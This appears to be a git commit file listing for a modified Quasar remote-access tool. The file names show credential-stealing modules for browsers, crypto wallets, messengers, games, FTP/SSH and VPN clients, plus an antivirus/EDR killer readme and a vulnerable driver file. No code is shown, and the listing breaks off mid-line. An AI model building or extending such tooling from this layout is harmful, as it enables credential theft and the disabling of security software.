Bin 0 -> 751 bytes .../Resources/Silk/status_offline.png | Bin 0 -> 369 bytes .../Resources/Silk/status_online.png | Bin 0 -> 722 bytes .../Quasar.Server/Resources/Silk/stop.png | Bin 0 -> 700 bytes .../Quasar.Server/Resources/Silk/style.png | Bin 0 -> 813 bytes .../Resources/Silk/style_add.png | Bin 0 -> 844 bytes .../Resources/Silk/style_delete.png | Bin 0 -> 865 bytes .../Resources/Silk/style_edit.png | Bin 0 -> 927 bytes .../Quasar.Server/Resources/Silk/style_go.png | Bin 0 -> 862 bytes .../Quasar.Server/Resources/Silk/sum.png | Bin 0 -> 289 bytes .../Quasar.Server/Resources/Silk/tab.png | Bin 0 -> 323 bytes .../Quasar.Server/Resources/Silk/tab_add.png | Bin 0 -> 488 bytes .../Resources/Silk/tab_delete.png | Bin 0 -> 493 bytes .../Quasar.Server/Resources/Silk/tab_edit.png | Bin 0 -> 572 bytes .../Quasar.Server/Resources/Silk/tab_go.png | Bin 0 -> 552 bytes .../Quasar.Server/Resources/Silk/table.png | Bin 0 -> 566 bytes .../Resources/Silk/table_add.png | Bin 0 -> 661 bytes .../Resources/Silk/table_delete.png | Bin 0 -> 660 bytes .../Resources/Silk/table_edit.png | Bin 0 -> 744 bytes .../Resources/Silk/table_error.png | Bin 0 -> 687 bytes .../Resources/Silk/table_gear.png | Bin 0 -> 714 bytes .../Quasar.Server/Resources/Silk/table_go.png | Bin 0 -> 683 bytes .../Resources/Silk/table_key.png | Bin 0 -> 746 bytes .../Resources/Silk/table_lightning.png | Bin 0 -> 736 bytes .../Resources/Silk/table_link.png | Bin 0 -> 728 bytes .../Resources/Silk/table_multiple.png | Bin 0 -> 612 bytes .../Resources/Silk/table_refresh.png | Bin 0 -> 795 bytes .../Resources/Silk/table_relationship.png | Bin 0 -> 651 bytes .../Resources/Silk/table_row_delete.png | Bin 0 -> 619 bytes .../Resources/Silk/table_row_insert.png | Bin 0 -> 641 bytes .../Resources/Silk/table_save.png | Bin 0 -> 723 bytes .../Resources/Silk/table_sort.png | Bin 0 -> 678 bytes .../Quasar.Server/Resources/Silk/tag.png | Bin 0 -> 383 bytes .../Quasar.Server/Resources/Silk/tag_blue.png | Bin 0 -> 586 bytes .../Resources/Silk/tag_blue_add.png | Bin 0 -> 671 bytes .../Resources/Silk/tag_blue_delete.png | Bin 0 -> 701 bytes .../Resources/Silk/tag_blue_edit.png | Bin 0 -> 748 bytes .../Resources/Silk/tag_green.png | Bin 0 -> 613 bytes .../Resources/Silk/tag_orange.png | Bin 0 -> 586 bytes .../Quasar.Server/Resources/Silk/tag_pink.png | Bin 0 -> 579 bytes .../Resources/Silk/tag_purple.png | Bin 0 -> 599 bytes .../Quasar.Server/Resources/Silk/tag_red.png | Bin 0 -> 592 bytes .../Resources/Silk/tag_yellow.png | Bin 0 -> 586 bytes .../Resources/Silk/telephone.png | Bin 0 -> 791 bytes .../Resources/Silk/telephone_add.png | Bin 0 -> 860 bytes .../Resources/Silk/telephone_delete.png | Bin 0 -> 856 bytes .../Resources/Silk/telephone_edit.png | Bin 0 -> 893 bytes .../Resources/Silk/telephone_error.png | Bin 0 -> 884 bytes .../Resources/Silk/telephone_go.png | Bin 0 -> 865 bytes .../Resources/Silk/telephone_key.png | Bin 0 -> 881 bytes .../Resources/Silk/telephone_link.png | Bin 0 -> 909 bytes .../Resources/Silk/television.png | Bin 0 -> 696 bytes .../Resources/Silk/television_add.png | Bin 0 -> 809 bytes .../Resources/Silk/television_delete.png | Bin 0 -> 810 bytes .../Resources/Silk/text_align_center.png | Bin 0 -> 234 bytes .../Resources/Silk/text_align_justify.png | Bin 0 -> 209 bytes .../Resources/Silk/text_align_left.png | Bin 0 -> 209 bytes .../Resources/Silk/text_align_right.png | Bin 0 -> 209 bytes .../Resources/Silk/text_allcaps.png | Bin 0 -> 284 bytes .../Resources/Silk/text_bold.png | Bin 0 -> 251 bytes .../Resources/Silk/text_columns.png | Bin 0 -> 246 bytes .../Resources/Silk/text_dropcaps.png | Bin 0 -> 314 bytes .../Resources/Silk/text_heading_1.png | Bin 0 -> 276 bytes .../Resources/Silk/text_heading_2.png | Bin 0 -> 251 bytes .../Resources/Silk/text_heading_3.png | Bin 0 -> 253 bytes .../Resources/Silk/text_heading_4.png | Bin 0 -> 293 bytes .../Resources/Silk/text_heading_5.png | Bin 0 -> 304 bytes .../Resources/Silk/text_heading_6.png | Bin 0 -> 257 bytes .../Resources/Silk/text_horizontalrule.png | Bin 0 -> 280 bytes .../Resources/Silk/text_indent.png | Bin 0 -> 353 bytes .../Resources/Silk/text_indent_remove.png | Bin 0 -> 351 bytes .../Resources/Silk/text_italic.png | Bin 0 -> 223 bytes .../Resources/Silk/text_kerning.png | Bin 0 -> 495 bytes .../Resources/Silk/text_letter_omega.png | Bin 0 -> 541 bytes .../Resources/Silk/text_letterspacing.png | Bin 0 -> 503 bytes .../Resources/Silk/text_linespacing.png | Bin 0 -> 330 bytes .../Resources/Silk/text_list_bullets.png | Bin 0 -> 313 bytes .../Resources/Silk/text_list_numbers.png | Bin 0 -> 321 bytes .../Resources/Silk/text_lowercase.png | Bin 0 -> 709 bytes .../Resources/Silk/text_padding_bottom.png | Bin 0 -> 237 bytes .../Resources/Silk/text_padding_left.png | Bin 0 -> 271 bytes .../Resources/Silk/text_padding_right.png | Bin 0 -> 271 bytes .../Resources/Silk/text_padding_top.png | Bin 0 -> 236 bytes .../Resources/Silk/text_replace.png | Bin 0 -> 691 bytes .../Resources/Silk/text_signature.png | Bin 0 -> 524 bytes .../Resources/Silk/text_smallcaps.png | Bin 0 -> 260 bytes .../Resources/Silk/text_strikethrough.png | Bin 0 -> 269 bytes .../Resources/Silk/text_subscript.png | Bin 0 -> 422 bytes .../Resources/Silk/text_superscript.png | Bin 0 -> 421 bytes .../Resources/Silk/text_underline.png | Bin 0 -> 273 bytes .../Resources/Silk/text_uppercase.png | Bin 0 -> 747 bytes .../Resources/Silk/textfield.png | Bin 0 -> 124 bytes .../Resources/Silk/textfield_add.png | Bin 0 -> 288 bytes .../Resources/Silk/textfield_delete.png | Bin 0 -> 303 bytes .../Resources/Silk/textfield_key.png | Bin 0 -> 418 bytes .../Resources/Silk/textfield_rename.png | Bin 0 -> 240 bytes .../Resources/Silk/thumb_down.png | Bin 0 -> 601 bytes .../Quasar.Server/Resources/Silk/thumb_up.png | Bin 0 -> 619 bytes .../Quasar.Server/Resources/Silk/tick.png | Bin 0 -> 537 bytes .../Quasar.Server/Resources/Silk/time.png | Bin 0 -> 793 bytes .../Quasar.Server/Resources/Silk/time_add.png | Bin 0 -> 827 bytes .../Resources/Silk/time_delete.png | Bin 0 -> 853 bytes .../Quasar.Server/Resources/Silk/time_go.png | Bin 0 -> 882 bytes .../Resources/Silk/timeline_marker.png | Bin 0 -> 327 bytes .../Quasar.Server/Resources/Silk/transmit.png | Bin 0 -> 749 bytes .../Resources/Silk/transmit_add.png | Bin 0 -> 803 bytes .../Resources/Silk/transmit_blue.png | Bin 0 -> 814 bytes .../Resources/Silk/transmit_delete.png | Bin 0 -> 827 bytes .../Resources/Silk/transmit_edit.png | Bin 0 -> 848 bytes .../Resources/Silk/transmit_error.png | Bin 0 -> 883 bytes .../Resources/Silk/transmit_go.png | Bin 0 -> 842 bytes .../Quasar.Server/Resources/Silk/tux.png | Bin 0 -> 696 bytes .../Quasar.Server/Resources/Silk/user.png | Bin 0 -> 741 bytes .../Quasar.Server/Resources/Silk/user_add.png | Bin 0 -> 746 bytes .../Resources/Silk/user_comment.png | Bin 0 -> 743 bytes .../Resources/Silk/user_delete.png | Bin 0 -> 767 bytes .../Resources/Silk/user_edit.png | Bin 0 -> 833 bytes .../Resources/Silk/user_female.png | Bin 0 -> 640 bytes .../Quasar.Server/Resources/Silk/user_go.png | Bin 0 -> 793 bytes .../Resources/Silk/user_gray.png | Bin 0 -> 706 bytes .../Resources/Silk/user_green.png | Bin 0 -> 717 bytes .../Resources/Silk/user_orange.png | Bin 0 -> 723 bytes .../Quasar.Server/Resources/Silk/user_red.png | Bin 0 -> 717 bytes .../Resources/Silk/user_suit.png | Bin 0 -> 748 bytes .../Quasar.Server/Resources/Silk/vcard.png | Bin 0 -> 533 bytes .../Resources/Silk/vcard_add.png | Bin 0 -> 661 bytes .../Resources/Silk/vcard_delete.png | Bin 0 -> 651 bytes .../Resources/Silk/vcard_edit.png | Bin 0 -> 775 bytes .../Quasar.Server/Resources/Silk/vector.png | Bin 0 -> 481 bytes .../Resources/Silk/vector_add.png | Bin 0 -> 616 bytes .../Resources/Silk/vector_delete.png | Bin 0 -> 635 bytes .../Quasar.Server/Resources/Silk/wand.png | Bin 0 -> 570 bytes .../Resources/Silk/weather_clouds.png | Bin 0 -> 581 bytes .../Resources/Silk/weather_cloudy.png | Bin 0 -> 694 bytes .../Resources/Silk/weather_lightning.png | Bin 0 -> 634 bytes .../Resources/Silk/weather_rain.png | Bin 0 -> 626 bytes .../Resources/Silk/weather_snow.png | Bin 0 -> 341 bytes .../Resources/Silk/weather_sun.png | Bin 0 -> 623 bytes .../Quasar.Server/Resources/Silk/webcam.png | Bin 0 -> 728 bytes .../Resources/Silk/webcam_add.png | Bin 0 -> 786 bytes .../Resources/Silk/webcam_delete.png | Bin 0 -> 805 bytes .../Resources/Silk/webcam_error.png | Bin 0 -> 821 bytes .../Quasar.Server/Resources/Silk/world.png | Bin 0 -> 923 bytes .../Resources/Silk/world_add.png | Bin 0 -> 940 bytes .../Resources/Silk/world_delete.png | Bin 0 -> 945 bytes .../Resources/Silk/world_edit.png | Bin 0 -> 945 bytes .../Quasar.Server/Resources/Silk/world_go.png | Bin 0 -> 944 bytes .../Resources/Silk/world_link.png | Bin 0 -> 957 bytes .../Quasar.Server/Resources/Silk/wrench.png | Bin 0 -> 610 bytes .../Resources/Silk/wrench_orange.png | Bin 0 -> 584 bytes .../Quasar.Server/Resources/Silk/xhtml.png | Bin 0 -> 595 bytes .../Resources/Silk/xhtml_add.png | Bin 0 -> 703 bytes .../Resources/Silk/xhtml_delete.png | Bin 0 -> 696 bytes .../Quasar.Server/Resources/Silk/xhtml_go.png | Bin 0 -> 697 bytes .../Resources/Silk/xhtml_valid.png | Bin 0 -> 718 bytes .../Quasar.Server/Resources/Silk/zoom.png | Bin 0 -> 692 bytes .../Quasar.Server/Resources/Silk/zoom_in.png | Bin 0 -> 725 bytes .../Quasar.Server/Resources/Silk/zoom_out.png | Bin 0 -> 708 bytes .../Quasar.Server/Resources/vulndriver.sys | Bin 0 -> 38816 bytes .../ReverseProxy/ReverseProxyClient.cs | 481 ++++ .../ReverseProxy/ReverseProxyServer.cs | 170 ++ .../Statistics/ClientStatisticsService.cs | 154 ++ .../Statistics/ClientStatisticsSnapshot.cs | 80 + .../Quasar.Server/Utilities/DarkModeHelper.cs | 235 ++ .../Quasar.Server/Utilities/FrameCounter.cs | 60 + .../Utilities/ListViewColumnSorter.cs | 141 ++ .../Quasar.Server/Utilities/NativeMethods.cs | 47 + .../Quasar.Server/Utilities/NoIpUpdater.cs | 47 + .../Quasar.Server/Utilities/ThemeManager.cs | 468 ++++ Quasar-1.4.1/Quasar.Server/app.manifest | 44 + Quasar-1.4.1/Quasar.sln | 49 + Quasar-1.4.1/README.md | 79 + Quasar-1.4.1/ROADMAP.md | 25 + Quasar-1.4.1/WEBCAM_FIX_COMPLETE.txt | 60 + Quasar-1.4.1/WEBCAM_OPTIMIZATIONS.txt | 55 + Quasar-1.4.1/WEBCAM_TEST.txt | 41 + Quasar-1.4.1/appveyor.yml | 20 + Quasar-1.4.1/license.dat | 1 + Quasar-1.4.1/svg2png_tool/out/ExCSS.dll | Bin 0 -> 344064 bytes .../out/Microsoft.Win32.SystemEvents.dll | Bin 0 -> 27528 bytes Quasar-1.4.1/svg2png_tool/out/Svg.dll | Bin 0 -> 694272 bytes .../out/System.Drawing.Common.dll | Bin 0 -> 173432 bytes .../netcoreapp3.0/System.Drawing.Common.dll | Bin 0 -> 419720 bytes .../Microsoft.Win32.SystemEvents.dll | Bin 0 -> 52104 bytes .../netcoreapp3.0/System.Drawing.Common.dll | Bin 0 -> 436600 bytes .../svg2png_tool/out/svg2png.deps.json | 115 + Quasar-1.4.1/svg2png_tool/out/svg2png.dll | Bin 0 -> 5632 bytes Quasar-1.4.1/svg2png_tool/out/svg2png.exe | Bin 0 -> 151552 bytes .../out/svg2png.runtimeconfig.json | 13 + 2035 files changed, 91142 insertions(+) create mode 100644 .DS_Store create mode 100644 Quasar-1.4.1/.DS_Store create mode 100755 Quasar-1.4.1/.gitattributes create mode 100755 Quasar-1.4.1/.github/ISSUE_TEMPLATE/bug_report.yaml create mode 100755 Quasar-1.4.1/.github/ISSUE_TEMPLATE/feature_request.yaml create mode 100755 Quasar-1.4.1/.gitignore create mode 100755 Quasar-1.4.1/AVEDR_KILLER_README.txt create mode 100755 Quasar-1.4.1/CHANGELOG.md create mode 100755 Quasar-1.4.1/CONTRIBUTING.md create mode 100755 Quasar-1.4.1/Images/remote-desktop.png create mode 100755 Quasar-1.4.1/Images/remote-files.png create mode 100755 Quasar-1.4.1/Images/remote-shell.png create mode 100755 Quasar-1.4.1/LICENSE create mode 100755 Quasar-1.4.1/LICENSE_SYSTEM_README.txt create mode 100755 Quasar-1.4.1/Licenses/Be.HexEditor_license.txt create mode 100755 Quasar-1.4.1/Licenses/BouncyCastle_license.html create mode 100755 Quasar-1.4.1/Licenses/GlobalMouseKeyHook_license.txt create mode 100755 Quasar-1.4.1/Licenses/Mono.Cecil_license.txt create mode 100755 Quasar-1.4.1/Licenses/Open.Nat_license.txt create mode 100755 Quasar-1.4.1/Licenses/ResourceLib_license.txt create mode 100755 Quasar-1.4.1/Licenses/SilkIcons_license.txt create mode 100755 Quasar-1.4.1/Licenses/protobuf-net_license.txt create mode 100755 Quasar-1.4.1/Quasar.Client/BotKiller/MutexScanner.cs create mode 100755 Quasar-1.4.1/Quasar.Client/BotKiller/Win32API.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Config/Settings.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Extensions/KeyExtensions.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Extensions/ProcessExtensions.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Extensions/RegistryKeyExtensions.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/CameraControlProperty.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/FilterInfo.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/FilterInfoCollection.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMCameraControl.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMCrossbar.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMVideoControl.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IBaseFilter.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IEnumFilters.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IEnumPins.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IFilterGraph.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IFilterGraph2.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IGraphBuilder.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IMediaControl.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IMediaEventEx.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IPin.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IPropertyBag.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IReferenceClock.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ISampleGrabber.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/Structures.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/Uuids.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/Win32.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/PhysicalConnectorType.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Uuids.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/VideoCapabilities.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/VideoCaptureDevice.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/VideoInput.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video/IVideoSource.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/AForge/Video/VideoEvents.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/DateTimeHelper.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/JsonHelper.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/NativeMethodsHelper.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/RegistryKeyHelper.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/ScreenHelper.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Helper/SystemHelper.cs create mode 100755 Quasar-1.4.1/Quasar.Client/ILRepack.targets create mode 100755 Quasar-1.4.1/Quasar.Client/IO/BatchFile.cs create mode 100755 Quasar-1.4.1/Quasar.Client/IO/HardwareDevices.cs create mode 100755 Quasar-1.4.1/Quasar.Client/IO/Shell.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/ArchiveStructure.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/ConsolidatedFilesGenerator.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/Counter.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/InMemoryZip.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Data/Paths.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/AesGcm.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/AesGcm256.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Asn1Der.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Asn1DerObject.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Blowfish.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/ChaCha20Poly1305.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/CngDecryptor.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/DpApi.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/LocalEncryptor.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/LocalState.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/NSSDecryptor.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Navicat11Cipher.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/NssDumpMasterKey.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/RC4Crypt.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/TripleDes.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/Xor.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Encrypted/YaAuthenticatedData.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Hashing/PBE.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Hashing/PBKDF2.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Sql/BerkeleyDB.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper.Sql/SqLite.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/BlobParsedData.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ConcurrentLong.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/CpuInfo.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/HwidGenerator.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ImpersonationHelper.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/IpApi.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/MutexControl.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/NativeMethods.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ParseKeyBlob.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ProcessKiller.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ProcessWindows.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/RandomStrings.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/RegistryParser.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/RestoreCookies.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/WindowsInfo.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/AnyDesk.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/CoreFtp.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/CyberDuck.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/DynDns.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPCommander.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPGetter.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPNavigator.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPRush.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FileZilla.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FoxMail.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/GithubGui.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/JetBrains.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/MobaXterm.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Navicat.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Ngrok.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/NoIp.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Obs.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/PlayIt.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/PuTTY.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/RDCMan.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Rdp.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Sunlogin.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/TeamSpeak.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/TeamViewer.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/TotalCommander.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/WinSCP.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/Xmanager.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/Chromium.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/CryptoChromium.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/CryptoGecko.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/Gecko.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/UserAgentGenerator.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Crypto/CryptoDesktop.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Crypto/Grabber.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/GameList.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/InstalledBrowsers.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/InstalledPrograms.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/ProcessDump.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/ProductKey.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/ScreenShot.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/SystemInfo.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/WifiKey.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/BattleNet.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/ElectronicArts.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Epic.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Growtopia.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Minecraft.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Riot.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Roblox.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Steam.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/Uplay.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Games/XBox.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Discord.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Element.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Icq.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Jabber.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/MicroSIP.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Outlook.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Pidgin.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Signal.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Skype.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Telegram.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Tox.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Messangers/Viber.cs create mode 100755 Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/Cisco.cs create mode 100755 